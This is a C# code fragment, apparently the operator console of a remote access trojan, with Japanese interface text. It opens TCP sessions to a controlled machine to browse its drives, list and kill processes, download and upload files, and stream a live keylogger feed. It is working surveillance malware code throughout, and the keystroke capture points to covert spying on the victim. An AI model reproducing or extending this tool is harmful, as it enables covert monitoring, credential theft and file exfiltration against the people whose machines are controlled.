private void MainExplorer_Load(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { serverMain.Send("+START_EXPLORER " + serverExplorer_Port.ToString()); serverExplorer = new TCP.Server(serverExplorer_Port); serverExplorer.Start(); serverExplorer.Send("+GET_DRIVES"); menuDriveslist_Combobox.Items.AddRange(serverExplorer.RecvString().Split('|')); serverExplorer.Send("+GET_MAIN_DRIVE"); mainDrive = serverExplorer.RecvString(); menuDriveslist_Combobox.Text = mainDrive; serverExplorer.Send("+GET_DIR_LIST |" + mainDrive + "|"); loadFilePathInformations(menuDriveslist_Combobox.Text); } catch (Exception ex) { if (serverExplorer != null) { serverExplorer.Stop(); } Close(); MessageBox.Show(ex.Message, "サーバーエラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); } }); }
private void TaskManeger_Load(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { serverMain.Send("+START_TASKMGR " + serverTaskManeger_Port.ToString()); serverTaskMgr = new TCP.Server(serverTaskManeger_Port); serverTaskMgr.Start(); mainProcessListReload_Button_Click(null, EventArgs.Empty); mainProcessListReload_Button.Enabled = true; mainProcessExit_Button.Enabled = true; mainSaveFile_Button.Enabled = true; } catch (Exception ex) { if (serverTaskMgr != null) { serverTaskMgr.Stop(); } MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); Close(); } }); }
private void startDownload() { Text = "サーバー待機中..."; mainFileOpen_Groupbox.Text = "ファイル保存先"; mainFileSave_Groupbox.Text = "ダウンロードファイル"; try { serverExplorer.Send("+DOWNLOAD |" + SaveFilePath + "|" + serverDownload_Port.ToString()); serverDownload = new TCP.Server(serverDownload_Port); serverDownload.Start(); } catch (Exception ex) { if (serverDownload != null) { serverDownload.Stop(); } MessageBox.Show(ex.ToString(), "", MessageBoxButtons.OK, MessageBoxIcon.Stop); Close(); return; } try { Text = "ダウンロード中..."; int downloadBuffer = int.Parse(serverDownload.RecvString()); serverDownload.Send("+OK"); byte[] fileData = serverDownload.RecvBytes(5000, downloadBuffer); Text = "ファイル書き込み中..."; if (fileData.Length != 0) { using (FileStream fs = new FileStream(OpenFilePath, FileMode.Create)) { fs.Write(fileData, 0, fileData.Length); } } else { resultLoading = "以下が原因でダウンロードに失敗しました\r\n - アクセス権限がない\r\n - ファイルが存在しない\r\n - 送信パケット容量を超えている"; } fileData = null; GC.Collect(); } catch (Exception ex) { resultLoading = ex.Message; } if (serverDownload != null) { serverDownload.Stop(); } Close(); }
private void startUpload() { Text = "サーバー待機中..."; mainFileOpen_Groupbox.Text = "アップロードするファイル"; mainFileSave_Groupbox.Text = "アップロード先"; try { FileInfo fi = new FileInfo(OpenFilePath); serverExplorer.Send("+UPLOAD |" + SaveFilePath + "|" + fi.Length.ToString() + "|" + serverUpload_Port.ToString()); fi = null; serverUpload = new TCP.Server(serverUpload_Port); serverUpload.Start(); } catch (Exception ex) { if (serverUpload != null) { serverUpload.Stop(); } MessageBox.Show(ex.Message, "", MessageBoxButtons.OK, MessageBoxIcon.Stop); return; } Text = "ファイル読み込み中..."; try { byte[] fileData = null; using (FileStream fs = new FileStream(OpenFilePath, FileMode.Open)) { fileData = new byte[fs.Length]; fs.Read(fileData, 0, (int)fs.Length); } Text = "アップロード中..."; serverUpload.Send(fileData); fileData = null; GC.Collect(); Text = "アップロード確認中..."; resultLoading = serverUpload.RecvString(-1); } catch (Exception ex) { MessageBox.Show(ex.Message, "アップロードエラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); } if (serverUpload != null) { serverUpload.Stop(); } Close(); }
private void KeyboardLogs_Load(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { serverMain.Send("+LOGGER " + serverLogger_Port.ToString()); serverLogger = new TCP.Server(serverLogger_Port); serverLogger.Start(); while (true) { mainLog_Textbox.AppendText(serverLogger.RecvString(-1)); Thread.Sleep(50); } } catch (Exception ex) { } }); }